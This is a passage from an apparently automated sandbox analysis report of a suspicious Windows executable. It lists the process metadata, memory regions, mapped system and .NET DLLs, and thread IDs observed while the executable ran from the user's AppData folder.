	        start_va = 0x7efd8000
	          end_va = 0x7efdafff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007efd8000"
	        filename = ""

Region:
	              id = 883
	        start_va = 0x74c10000
	          end_va = 0x74c4afff
	     entry_point = 0x74c10000
	     region_type = mapped_file
	            name = "rsaenh.dll"
	        filename = "\\Windows\\SysWOW64\\rsaenh.dll" (normalized: "c:\\windows\\syswow64\\rsaenh.dll")

Region:
	              id = 884
	        start_va = 0x74c00000
	          end_va = 0x74c0dfff
	     entry_point = 0x74c00000
	     region_type = mapped_file
	            name = "rpcrtremote.dll"
	        filename = "\\Windows\\SysWOW64\\RpcRtRemote.dll" (normalized: "c:\\windows\\syswow64\\rpcrtremote.dll")

Region:
	              id = 885
	        start_va = 0x3b0000
	          end_va = 0x3effff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000003b0000"
	        filename = ""

Region:
	              id = 886
	        start_va = 0x5a0000
	          end_va = 0x5dffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000005a0000"
	        filename = ""

Region:
	              id = 887
	        start_va = 0x2b50000
	          end_va = 0x2c4ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002b50000"
	        filename = ""

Region:
	              id = 888
	        start_va = 0x2c50000
	          end_va = 0x2d4ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002c50000"
	        filename = ""

Region:
	              id = 889
	        start_va = 0x2d50000
	          end_va = 0x2dcffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002d50000"
	        filename = ""

Region:
	              id = 890
	        start_va = 0x2dd0000
	          end_va = 0x2e8ffff
	     entry_point = 0x2dd0000
	     region_type = mapped_file
	            name = "kernelbase.dll.mui"
	        filename = "\\Windows\\SysWOW64\\en-US\\KernelBase.dll.mui" (normalized: "c:\\windows\\syswow64\\en-us\\kernelbase.dll.mui")

Region:
	              id = 891
	        start_va = 0x2ee0000
	          end_va = 0x2f1ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002ee0000"
	        filename = ""

Region:
	              id = 892
	        start_va = 0x74a10000
	          end_va = 0x74a22fff
	     entry_point = 0x74a10000
	     region_type = mapped_file
	            name = "dwmapi.dll"
	        filename = "\\Windows\\SysWOW64\\dwmapi.dll" (normalized: "c:\\windows\\syswow64\\dwmapi.dll")

Region:
	              id = 893
	        start_va = 0x7efaa000
	          end_va = 0x7efacfff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007efaa000"
	        filename = ""

Region:
	              id = 894
	        start_va = 0x7efad000
	          end_va = 0x7efaffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007efad000"
	        filename = ""


Thread:
	id = 56
	os_tid = 0xb08


Thread:
	id = 57
	os_tid = 0xb0c


Thread:
	id = 58
	os_tid = 0xb10


Thread:
	id = 59
	os_tid = 0xb14


Thread:
	id = 60
	os_tid = 0xb18


Process:
	id = "6"
	image_name = "jsjhdhdhdhjfjhhf.exe"
	filename = "c:\\users\\aetadzjz\\appdata\\roaming\\jsjhdhdhdhjfjhhf.exe"
	page_root = "0x25d59000"
	os_pid = "0x140"
	os_integrity_level = "0x2000"
	os_privileges = "0x800000"
	monitor_reason = "child_process"
	parent_id = "4"
	os_parent_pid = "0xaf8"
	cmd_line = "\"C:\\Users\\aETAdzjz\\AppData\\Roaming\\jsjhdhdhdhjfjhhf.exe\""
	cur_dir = "C:\\Windows\\system32\\"
	os_username = "YKYD69Q\\aETAdzjz"
	os_groups = "YKYD69Q\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000ee00" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]

Region:
	              id = 1015
	        start_va = 0x10000
	          end_va = 0x2ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000010000"
	        filename = ""

Region:
	              id = 1016
	        start_va = 0x30000
	          end_va = 0x31fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000030000"
	        filename = ""

Region:
	              id = 1017
	        start_va = 0x40000
	          end_va = 0x40fff
	     entry_point = 0x40000
	     region_type = mapped_file
	            name = "apisetschema.dll"
	        filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll")

Region:
	              id = 1018
	        start_va = 0x50000
	          end_va = 0x53fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000050000"
	        filename = ""

Region:
	              id = 1019
	        start_va = 0x60000
	          end_va = 0x60fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000060000"
	        filename = ""

Region:
	              id = 1020
	        start_va = 0x90000
	          end_va = 0xcffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000090000"
	        filename = ""

Region:
	              id = 1021
	        start_va = 0x100000
	          end_va = 0x219fff
	     entry_point = 0x100000
	     region_type = mapped_file
	            name = "jsjhdhdhdhjfjhhf.exe"
	        filename = "\\Users\\aETAdzjz\\AppData\\Roaming\\jsjhdhdhdhjfjhhf.exe" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\jsjhdhdhdhjfjhhf.exe")

Region:
	              id = 1022
	        start_va = 0x300000
	          end_va = 0x3fffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000300000"
	        filename = ""

Region:
	              id = 1023
	        start_va = 0x77450000
	          end_va = 0x775f8fff
	     entry_point = 0x77450000
	     region_type = mapped_file
	            name = "ntdll.dll"
	        filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll")

Region:
	              id = 1024
	        start_va = 0x77630000
	          end_va = 0x777affff
	     entry_point = 0x77630000
	     region_type = mapped_file
	            name = "ntdll.dll"
	        filename = "\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll")

Region:
	              id = 1025
	        start_va = 0x7efb0000
	          end_va = 0x7efd2fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x000000007efb0000"
	        filename = ""

Region:
	              id = 1026
	        start_va = 0x7efdb000
	          end_va = 0x7efddfff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007efdb000"
	        filename = ""

Region:
	              id = 1027
	        start_va = 0x7efde000
	          end_va = 0x7efdefff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007efde000"
	        filename = ""

Region:
	              id = 1028
	        start_va = 0x7efdf000
	          end_va = 0x7efdffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007efdf000"
	        filename = ""

Region:
	              id = 1029
	        start_va = 0x7efe0000
	          end_va = 0x7ffdffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007efe0000"
	        filename = ""

Region:
	              id = 1030
	        start_va = 0x7ffe0000
	          end_va = 0x7ffeffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007ffe0000"
	        filename = ""

Region:
	              id = 1031
	        start_va = 0x7fff0000
	          end_va = 0x7fffffeffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007fff0000"
	        filename = ""

Region:
	              id = 1032
	        start_va = 0x400000
	          end_va = 0x487fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000400000"
	        filename = ""

Region:
	              id = 1033
	        start_va = 0x530000
	          end_va = 0x5affff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000530000"
	        filename = ""

Region:
	              id = 1034
	        start_va = 0x74ac0000
	          end_va = 0x74ac7fff
	     entry_point = 0x74ac0000
	     region_type = mapped_file
	            name = "wow64cpu.dll"
	        filename = "\\Windows\\System32\\wow64cpu.dll" (normalized: "c:\\windows\\system32\\wow64cpu.dll")

Region:
	              id = 1035
	        start_va = 0x74ad0000
	          end_va = 0x74b2bfff
	     entry_point = 0x74ad0000
	     region_type = mapped_file
	            name = "wow64win.dll"
	        filename = "\\Windows\\System32\\wow64win.dll" (normalized: "c:\\windows\\system32\\wow64win.dll")

Region:
	              id = 1036
	        start_va = 0x74b30000
	          end_va = 0x74b6efff
	     entry_point = 0x74b30000
	     region_type = mapped_file
	            name = "wow64.dll"
	        filename = "\\Windows\\System32\\wow64.dll" (normalized: "c:\\windows\\system32\\wow64.dll")

Region:
	              id = 1037
	        start_va = 0x10000
	          end_va = 0x1ffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000010000"
	        filename = ""

Region:
	              id = 1038
	        start_va = 0x220000
	          end_va = 0x286fff
	     entry_point = 0x220000
	     region_type = mapped_file
	            name = "locale.nls"
	        filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls")

Region:
	              id = 1039
	        start_va = 0x650000
	          end_va = 0x74ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000650000"
	        filename = ""

Region:
	              id = 1040
	        start_va = 0x743c0000
	          end_va = 0x74409fff
	     entry_point = 0x743c0000
	     region_type = mapped_file
	            name = "mscoree.dll"
	        filename = "\\Windows\\SysWOW64\\mscoree.dll" (normalized: "c:\\windows\\syswow64\\mscoree.dll")

Region:
	              id = 1041
	        start_va = 0x75730000
	          end_va = 0x7583ffff
	     entry_point = 0x75730000
	     region_type = mapped_file
	            name = "kernel32.dll"
	        filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll")

Region:
	              id = 1042
	        start_va = 0x75850000
	          end_va = 0x75895fff
	     entry_point = 0x75850000
	     region_type = mapped_file
	            name = "kernelbase.dll"
	        filename = "\\Windows\\SysWOW64\\KernelBase.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll")

Region:
	              id = 1043
	        start_va = 0x77230000
	          end_va = 0x77329fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000077230000"
	        filename = ""

Region:
	              id = 1044
	        start_va = 0x77330000
	          end_va = 0x7744efff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000077330000"
	        filename = ""

Region:
	              id = 1045
	        start_va = 0x7efe0000
	          end_va = 0x7f0dffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x000000007efe0000"
	        filename = ""

Region:
	              id = 1046
	        start_va = 0x7f0e0000
	          end_va = 0x7ffdffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007f0e0000"
	        filename = ""

Region:
	              id = 1056
	        start_va = 0x7e0000
	          end_va = 0x81ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000007e0000"
	        filename = ""

Region:
	              id = 1057
	        start_va = 0x910000
	          end_va = 0x91ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000910000"
	        filename = ""

Region:
	              id = 1058
	        start_va = 0xa80000
	          end_va = 0xa8ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000a80000"
	        filename = ""

Region:
	              id = 1059
	        start_va = 0x75180000
	          end_va = 0x7518bfff
	     entry_point = 0x75180000
	     region_type = mapped_file
	            name = "cryptbase.dll"
	        filename = "\\Windows\\SysWOW64\\cryptbase.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll")

Region:
	              id = 1060
	        start_va = 0x75190000
	          end_va = 0x751effff
	     entry_point = 0x75190000
	     region_type = mapped_file
	            name = "sspicli.dll"
	        filename = "\\Windows\\SysWOW64\\sspicli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll")

Region:
	              id = 1061
	        start_va = 0x75210000
	          end_va = 0x752fffff
	     entry_point = 0x75210000
	     region_type = mapped_file
	            name = "rpcrt4.dll"
	        filename = "\\Windows\\SysWOW64\\rpcrt4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll")

Region:
	              id = 1062
	        start_va = 0x759d0000
	          end_va = 0x75a6ffff
	     entry_point = 0x759d0000
	     region_type = mapped_file
	            name = "advapi32.dll"
	        filename = "\\Windows\\SysWOW64\\advapi32.dll" (normalized: "c:\\windows\\syswow64\\advapi32.dll")

Region:
	              id = 1063
	        start_va = 0x76ec0000
	          end_va = 0x76ed8fff
	     entry_point = 0x76ec0000
	     region_type = mapped_file
	            name = "sechost.dll"
	        filename = "\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll")

Region:
	              id = 1064
	        start_va = 0x76fa0000
	          end_va = 0x7704bfff
	     entry_point = 0x76fa0000
	     region_type = mapped_file
	            name = "msvcrt.dll"
	        filename = "\\Windows\\SysWOW64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll")

Region:
	              id = 1065
	        start_va = 0x74340000
	          end_va = 0x743b7fff
	     entry_point = 0x74340000
	     region_type = mapped_file
	            name = "mscoreei.dll"
	        filename = "\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscoreei.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\mscoreei.dll")

Region:
	              id = 1066
	        start_va = 0xa90000
	          end_va = 0xc17fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000a90000"
	        filename = ""

Region:
	              id = 1067
	        start_va = 0x753d0000
	          end_va = 0x7545ffff
	     entry_point = 0x753d0000
	     region_type = mapped_file
	            name = "gdi32.dll"
	        filename = "\\Windows\\SysWOW64\\gdi32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll")

Region:
	              id = 1068
	        start_va = 0x756d0000
	          end_va = 0x75726fff
	     entry_point = 0x756d0000
	     region_type = mapped_file
	            name = "shlwapi.dll"
	        filename = "\\Windows\\SysWOW64\\shlwapi.dll" (normalized: "c:\\windows\\syswow64\\shlwapi.dll")

Region:
	              id = 1069
	        start_va = 0x75b00000
	          end_va = 0x75b9cfff
	     entry_point = 0x75b00000
	     region_type = mapped_file
	            name = "usp10.dll"
	        filename = "\\Windows\\SysWOW64\\usp10.dll" (normalized: "c:\\windows\\syswow64\\usp10.dll")

Region:
	              id = 1070
	        start_va = 0x75ce0000
	          end_va = 0x75dabfff
	     entry_point = 0x75ce0000
	     region_type = mapped_file
	            name = "msctf.dll"
	        filename = "\\Windows\\SysWOW64\\msctf.dll" (normalized: "c:\\windows\\syswow64\\msctf.dll")

Region:
	              id = 1071
	        start_va = 0x76d60000
	          end_va = 0x76dbffff
	     entry_point = 0x76d60000
	     region_type = mapped_file
	            name = "imm32.dll"
	        filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll")

Region:
	              id = 1072
	        start_va = 0x76dc0000
	          end_va = 0x76ebffff
	     entry_point = 0x76dc0000
	     region_type = mapped_file
	            name = "user32.dll"
	        filename = "\\Windows\\SysWOW64\\user32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll")

Region:
	              id = 1073
	        start_va = 0x77600000
	          end_va = 0x77609fff
	     entry_point = 0x77600000
	     region_type = mapped_file
	            name = "lpk.dll"
	        filename = "\\Windows\\SysWOW64\\lpk.dll" (normalized: "c:\\windows\\syswow64\\lpk.dll")

Region:
	              id = 1074
	        start_va = 0x20000
	          end_va = 0x20fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000020000"
	        filename = ""

Region:
	              id = 1075
	        start_va = 0x30000
	          end_va = 0x30fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000030000"
	        filename = ""

Region:
	              id = 1076
	        start_va = 0xc20000
	          end_va = 0xda0fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000c20000"
	        filename = ""

Region:
	              id = 1077
	        start_va = 0xdb0000
	          end_va = 0x21affff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000db0000"
	        filename = ""

Region:
	              id = 1078
	        start_va = 0x75070000
	          end_va = 0x75078fff
	     entry_point = 0x75070000
	     region_type = mapped_file
	            name = "version.dll"
	        filename = "\\Windows\\SysWOW64\\version.dll" (normalized: "c:\\windows\\syswow64\\version.dll")

Region:
	              id = 1079
	        start_va = 0x734b0000
	          end_va = 0x73b57fff
	     entry_point = 0x734b0000
	     region_type = mapped_file
	            name = "clr.dll"
	        filename = "\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\clr.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\clr.dll")

Region:
	              id = 1080
	        start_va = 0x748d0000
	          end_va = 0x749c4fff
	     entry_point = 0x748d0000
	     region_type = mapped_file
	            name = "msvcr120_clr0400.dll"
	        filename = "\\Windows\\SysWOW64\\msvcr120_clr0400.dll" (normalized: "c:\\windows\\syswow64\\msvcr120_clr0400.dll")

Region:
	              id = 1081
	        start_va = 0x70000
	          end_va = 0x70fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000070000"
	        filename = ""

Region:
	              id = 1082
	        start_va = 0x80000
	          end_va = 0x8ffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000080000"
	        filename = ""

Region:
	              id = 1083
	        start_va = 0xd0000
	          end_va = 0xdffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000000d0000"
	        filename = ""

Region:
	              id = 1084
	        start_va = 0xe0000
	          end_va = 0xeffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000000e0000"
	        filename = ""

Region:
	              id = 1085
	        start_va = 0xf0000
	          end_va = 0xfffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000000f0000"
	        filename = ""

Region:
	              id = 1086
	        start_va = 0x290000
	          end_va = 0x29ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000290000"
	        filename = ""

Region:
	              id = 1087
	        start_va = 0x2a0000
	          end_va = 0x2affff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000002a0000"
	        filename = ""

Region:
	              id = 1088
	        start_va = 0x2b0000
	          end_va = 0x2b0fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000002b0000"
	        filename = ""

Region:
	              id = 1089
	        start_va = 0x2c0000
	          end_va = 0x2c0fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000002c0000"
	        filename = ""

Region:
	              id = 1090
	        start_va = 0x490000
	          end_va = 0x52ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000490000"
	        filename = ""

Region:
	              id = 1091
	        start_va = 0x7a0000
	          end_va = 0x7dffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000007a0000"
	        filename = ""

Region:
	              id = 1092
	        start_va = 0x840000
	          end_va = 0x87ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000840000"
	        filename = ""

Region:
	              id = 1093
	        start_va = 0x920000
	          end_va = 0xa1ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000920000"
	        filename = ""

Region:
	              id = 1094
	        start_va = 0x2350000
	          end_va = 0x238ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002350000"
	        filename = ""

Region:
	              id = 1095
	        start_va = 0x23a0000
	          end_va = 0x23dffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000023a0000"
	        filename = ""

Region:
	              id = 1096
	        start_va = 0x23e0000
	          end_va = 0x43dffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000023e0000"
	        filename = ""

Region:
	              id = 1097
	        start_va = 0x4510000
	          end_va = 0x460ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000004510000"
	        filename = ""

Region:
	              id = 1098
	        start_va = 0x4610000
	          end_va = 0x48defff
	     entry_point = 0x4610000
	     region_type = mapped_file
	            name = "sortdefault.nls"
	        filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls")

Region:
	              id = 1099
	        start_va = 0x72280000
	          end_va = 0x734aafff
	     entry_point = 0x72280000
	     region_type = mapped_file
	            name = "mscorlib.ni.dll"
	        filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_32\\mscorlib\\b7a12c4c0032847fcc6b9c710460456f\\mscorlib.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\mscorlib\\b7a12c4c0032847fcc6b9c710460456f\\mscorlib.ni.dll")

Region:
	              id = 1100
	        start_va = 0x7efd5000
	          end_va = 0x7efd7fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007efd5000"
	        filename = ""

Region:
	              id = 1101
	        start_va = 0x7efd8000
	          end_va = 0x7efdafff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007efd8000"
	        filename = ""

Region:
	              id = 1102
	        start_va = 0x75fb0000
	          end_va = 0x7610bfff
	     entry_point = 0x75fb0000
	     region_type = mapped_file
	            name = "ole32.dll"
	        filename = "\\Windows\\SysWOW64\\ole32.dll" (normalized: "c:\\windows\\syswow64\\ole32.dll")

Region:
	              id = 1103
	        start_va = 0x74a30000
	          end_va = 0x74aaffff
	     entry_point = 0x74a30000
	     region_type = mapped_file
	            name = "uxtheme.dll"
	        filename = "\\Windows\\SysWOW64\\uxtheme.dll" (normalized: "c:\\windows\\syswow64\\uxtheme.dll")

Region:
	              id = 1104
	        start_va = 0x21b0000
	          end_va = 0x230ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000021b0000"
	        filename = ""

Region:
	              id = 1105
	        start_va = 0x21b0000
	          end_va = 0x228efff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00000000021b0000"
	        filename = ""

Region:
	              id = 1106
	        start_va = 0x22d0000
	          end_va = 0x230ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000022d0000"
	        filename = ""

Region:
	              id = 1107
	        start_va = 0x2d0000
	          end_va = 0x2dffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000002d0000"
	        filename = ""

Region:
	              id = 1108
	        start_va = 0x5f0000
	          end_va = 0x62ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000005f0000"
	        filename = ""

Region:
	              id = 1109
	        start_va = 0x43e0000
	          end_va = 0x44dffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000043e0000"
	        filename = ""

Region:
	              id = 1110
	        start_va = 0x70550000
	          end_va = 0x70c65fff
	     entry_point = 0x70550000
	     region_type = mapped_file
	            name = "system.core.ni.dll"
	        filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Core\\386fde9190d499d6645df8b90eb76242\\System.Core.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\system.core\\386fde9190d499d6645df8b90eb76242\\system.core.ni.dll")

Region:
	              id = 1111
	        start_va = 0x718d0000
	          end_va = 0x7227cfff
	     entry_point = 0x718d0000
	     region_type = mapped_file
	            name = "system.ni.dll"
	        filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System\\500ffa28b327e171fe664023003e947e\\System.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\system\\500ffa28b327e171fe664023003e947e\\system.ni.dll")

Region:
	              id = 1112
	        start_va = 0x74170000
	          end_va = 0x7433afff
	     entry_point = 0x74170000
	     region_type = mapped_file
	            name = "microsoft.visualbasic.ni.dll"
	        filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_32\\Microsoft.V9921e851#\\cfbddeb6e93e8f421b92229b20e51233\\Microsoft.VisualBasic.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\microsoft.v9921e851#\\cfbddeb6e93e8f421b92229b20e51233\\microsoft.visualbasic.ni.dll")

Region:
	              id = 1113
	        start_va = 0x7efad000
	          end_va = 0x7efaffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007efad000"
	        filename = ""

Region:
	              id = 1114
	        start_va = 0x74f70000
	          end_va = 0x74fecfff
	     entry_point = 0x74f70000
	     region_type = mapped_file
	            name = "clrjit.dll"
	        filename = "\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\clrjit.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\clrjit.dll")

Region:
	              id = 1115
	        start_va = 0x76ee0000
	          end_va = 0x76f6efff
	     entry_point = 0x76ee0000
	     region_type = mapped_file
	            name = "oleaut32.dll"
	        filename = "\\Windows\\SysWOW64\\oleaut32.dll" (normalized: "c:\\windows\\syswow64\\oleaut32.dll")

Region:
	              id = 1116
	        start_va = 0x2e0000
	          end_va = 0x2effff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000002e0000"
	        filename = ""

Region:
	              id = 1117
	        start_va = 0x6f110000
	          end_va = 0x6fd67fff
	     entry_point = 0x6f110000
	     region_type = mapped_file
	            name = "system.windows.forms.ni.dll"
	        filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Windows.Forms\\7a6894982f35a1d75ec73d447c583da2\\System.Windows.Forms.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\system.windows.forms\\7a6894982f35a1d75ec73d447c583da2\\system.windows.forms.ni.dll")

Region:
	              id = 1118
	        start_va = 0x74de0000
	          end_va = 0x74f6cfff
	     entry_point = 0x74de0000
	     region_type = mapped_file
	            name = "system.drawing.ni.dll"
	        filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Drawing\\553c0312fdf5a5449f3649f0515e70fb\\System.Drawing.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\system.drawing\\553c0312fdf5a5449f3649f0515e70fb\\system.drawing.ni.dll")

Region:
	              id = 1119
	        start_va = 0x2f0000
	          end_va = 0x2fffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000002f0000"
	        filename = ""

Region:
	              id = 1120
	        start_va = 0x880000
	          end_va = 0x901fff
	     entry_point = 0x880000
	     region_type = mapped_file
	            name = "comctl32.dll"
	        filename = "\\Windows\\winsxs\\x86_microsoft.windows.common-controls_6595b64144ccf1df_5.82.7601.17514_none_ec83dffa859149af\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\x86_microsoft.windows.common-controls_6595b64144ccf1df_5.82.7601.17514_none_ec83dffa859149af\\comctl32.dll")

Region:
	              id = 1121
	        start_va = 0x880000
	          end_va = 0x901fff
	     entry_point = 0x880000
	     region_type = mapped_file
	            name = "comctl32.dll"
	        filename = "\\Windows\\winsxs\\x86_microsoft.windows.common-controls_6595b64144ccf1df_5.82.7601.17514_none_ec83dffa859149af\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\x86_microsoft.windows.common-controls_6595b64144ccf1df_5.82.7601.17514_none_ec83dffa859149af\\comctl32.dll")

Region:
	              id = 1122
	        start_va = 0x74d50000
	          end_va = 0x74dd3fff
	     entry_point = 0x74d50000
	     region_type = mapped_file
	            name = "comctl32.dll"
	        filename = "\\Windows\\winsxs\\x86_microsoft.windows.common-controls_6595b64144ccf1df_5.82.7601.17514_none_ec83dffa859149af\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\x86_microsoft.windows.common-controls_6595b64144ccf1df_5.82.7601.17514_none_ec83dffa859149af\\comctl32.dll")

Region:
	              id = 1123
	        start_va = 0x48e0000
	          end_va = 0x49cffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000048e0000"
	        filename = ""

Region:
	              id = 1124
	        start_va = 0x4b40000
	          end_va = 0x4b7ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000004b40000"
	        filename = ""

Region:
	              id = 1125
	        start_va = 0x75050000
	          end_va = 0x75062fff
	     entry_point = 0x75050000
	     region_type = mapped_file
	            name = "nlssorting.dll"
	        filename = "\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\nlssorting.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\nlssorting.dll")

Region:
	              id = 1126
	        start_va = 0x4b80000
	          end_va = 0x4e51fff
	     entry_point = 0x4b80000
	     region_type = mapped_file
	            name = "sortdefault.nlp"
	        filename = "\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\sortdefault.nlp" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\sortdefault.nlp")

Region:
	              id = 1127
	        start_va = 0x74c80000
	          end_va = 0x74d44fff
	     entry_point = 0x74c80000
	     region_type = mapped_file
	            name = "system.runtime.remoting.ni.dll"
	        filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Runt73a1fc9d#\\7dc02b53cd1fa9685d4cf9a94fe7998c\\System.Runtime.Remoting.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\system.runt73a1fc9d#\\7dc02b53cd1fa9685d4cf9a94fe7998c\\system.runtime.remoting.ni.dll")

Region:
	              id = 1128
	        start_va = 0x75300000
	          end_va = 0x75334fff
	     entry_point = 0x75300000
	     region_type = mapped_file
	            name = "ws2_32.dll"
	        filename = "\\Windows\\SysWOW64\\ws2_32.dll" (normalized: "c:\\windows\\syswow64\\ws2_32.dll")

Region:
	              id = 1129
	        start_va = 0x75840000
	          end_va = 0x75845fff
	     entry_point = 0x75840000
	     region_type = mapped_file
	            name = "nsi.dll"
	        filename = "\\Windows\\SysWOW64\\nsi.dll" (normalized: "c:\\windows\\syswow64\\nsi.dll")

Region:
	              id = 1130
	        start_va = 0x75010000
	          end_va = 0x7504bfff
	     entry_point = 0x75010000
	     region_type = mapped_file
	            name = "mswsock.dll"
